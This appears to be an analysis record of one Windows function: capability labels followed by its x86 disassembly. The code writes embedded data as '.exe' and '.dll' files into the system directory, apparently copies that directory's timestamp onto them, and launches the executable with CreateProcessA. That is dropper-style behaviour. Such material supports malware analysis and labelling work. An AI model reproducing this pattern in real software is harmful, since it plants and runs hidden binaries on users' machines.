Function at 0x405781
Capabilities:
Create process on windows
Get common file path
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
mov eax, 0x4088f4
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x3a4
mov al, byte [0x410e6c]
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], ecx
push 0x40
mov byte [ebp - 0x164], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x163]
xor ebx, ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x2ac]
push 0x104
push eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push ebx
push 0x2000000
push 3
push ebx
push ebx
lea eax, [ebp - 0x2ac]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x20], ebx
cmp esi, 0xffffffff
je 0x405815
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x40580e
lea eax, [ebp - 0x60]
mov dword [ebp - 0x20], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x14]
push 0x410088
push eax
mov dword [ebp - 4], ebx
call fcn.00405bab
cmp eax, ebx
jne 0x405842
lea eax, [ebp - 0x28]
push 0x40c658
push eax
mov dword [ebp - 0x28], 5
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
push eax
lea eax, [ebp - 0x2ac]
push eax
lea eax, [ebp - 0x164]
push str._s_s.exe
push eax
call sub.MSVCRT.dll_sprintf
push ebx
push ebx
push dword [ebp - 0x14]
call sub.MSVCRT.dll_fseek
mov esi, dword [ebp + 8]
add esp, 0x1c
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x164]
push dword [esi + 4]
push eax
push dword [ebp - 0x14]
call fcn.00405ad6
cmp eax, ebx
jne 0x4058a4
lea eax, [ebp - 0x2c]
push 0x40c658
push eax
mov dword [ebp - 0x2c], 0x4000
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x164]
push 0x4103f8
push eax
call sub.MSVCRT.dll_fopen
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jne 0x4058d2
lea eax, [ebp - 0x34]
push 0x40c658
push eax
mov dword [ebp - 0x34], 0x4000
call sub.MSVCRT.dll__CxxThrowException
push dword [esi + 8]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp + 8], eax
push ebx
push dword [esi + 0xc]
push dword [ebp - 0x14]
call sub.MSVCRT.dll_fseek
push dword [ebp - 0x14]
push dword [esi + 8]
push 1
push dword [ebp + 8]
call sub.MSVCRT.dll_fread
push 2
push ebx
push edi
call sub.MSVCRT.dll_fseek
push edi
call sub.MSVCRT.dll_ftell
push edi
mov dword [esi + 0xc], eax
push dword [esi + 8]
push 1
push dword [ebp + 8]
call sub.MSVCRT.dll_fwrite
push dword [ebp + 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x40
push edi
push 0x38
push 1
push esi
call sub.MSVCRT.dll_fwrite
push edi
call sub.MSVCRT.dll_fclose
mov ecx, dword [ebp - 0x1c]
add esp, 0x14
lea eax, [ebp - 0x164]
push dword [ebp - 0x20]
push eax
call fcn.0040620c
push 2
push ebx
push dword [ebp - 0x14]
call sub.MSVCRT.dll_fseek
push dword [ebp - 0x14]
call sub.MSVCRT.dll_ftell
push 0xffffffffffffffc8
mov edi, eax
pop eax
sub eax, dword [esi + 8]
push dword [ebp - 0x24]
sub eax, dword [esi + 4]
add edi, eax
lea eax, [ebp - 0x2ac]
push eax
lea eax, [ebp - 0x3b0]
push str._s_s.dll
push eax
call sub.MSVCRT.dll_sprintf
push ebx
push dword [esi + 4]
push dword [ebp - 0x14]
call sub.MSVCRT.dll_fseek
mov ecx, dword [ebp - 0x1c]
add esp, 0x2c
lea eax, [ebp - 0x3b0]
push edi
push eax
push dword [ebp - 0x14]
call fcn.00405ad6
cmp eax, ebx
jne 0x4059c1
lea eax, [ebp - 0x30]
push 0x40c658
push eax
mov dword [ebp - 0x30], 0x8000
call sub.MSVCRT.dll__CxxThrowException
push dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x3b0]
push eax
call fcn.0040620c
jmp 0x4059e3
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x14], ebx
je 0x4059f5
push dword [ebp - 0x14]
call sub.MSVCRT.dll_fclose
pop ecx
lea eax, [ebp - 0x164]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x405a8b
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x1c]
push 1
mov eax, dword [eax + 0x14]
push dword [eax]
lea eax, [ebp - 0x164]
push eax
call fcn.00406028
cmp eax, ebx
je 0x405a2f
or eax, 0x10000
or dword [ebp - 0x18], eax
push 0x44
lea eax, [ebp - 0x1a8]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x1a8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x164]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x405a76
push dword [ebp - 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x44]
call esi
jmp 0x405a8b
or byte [ebp - 0x16], 2
test word [ebp - 0x18], 0xfff
jne 0x405a8b
call dword [sym.imp.KERNEL32.dll_GetLastError]
or dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 8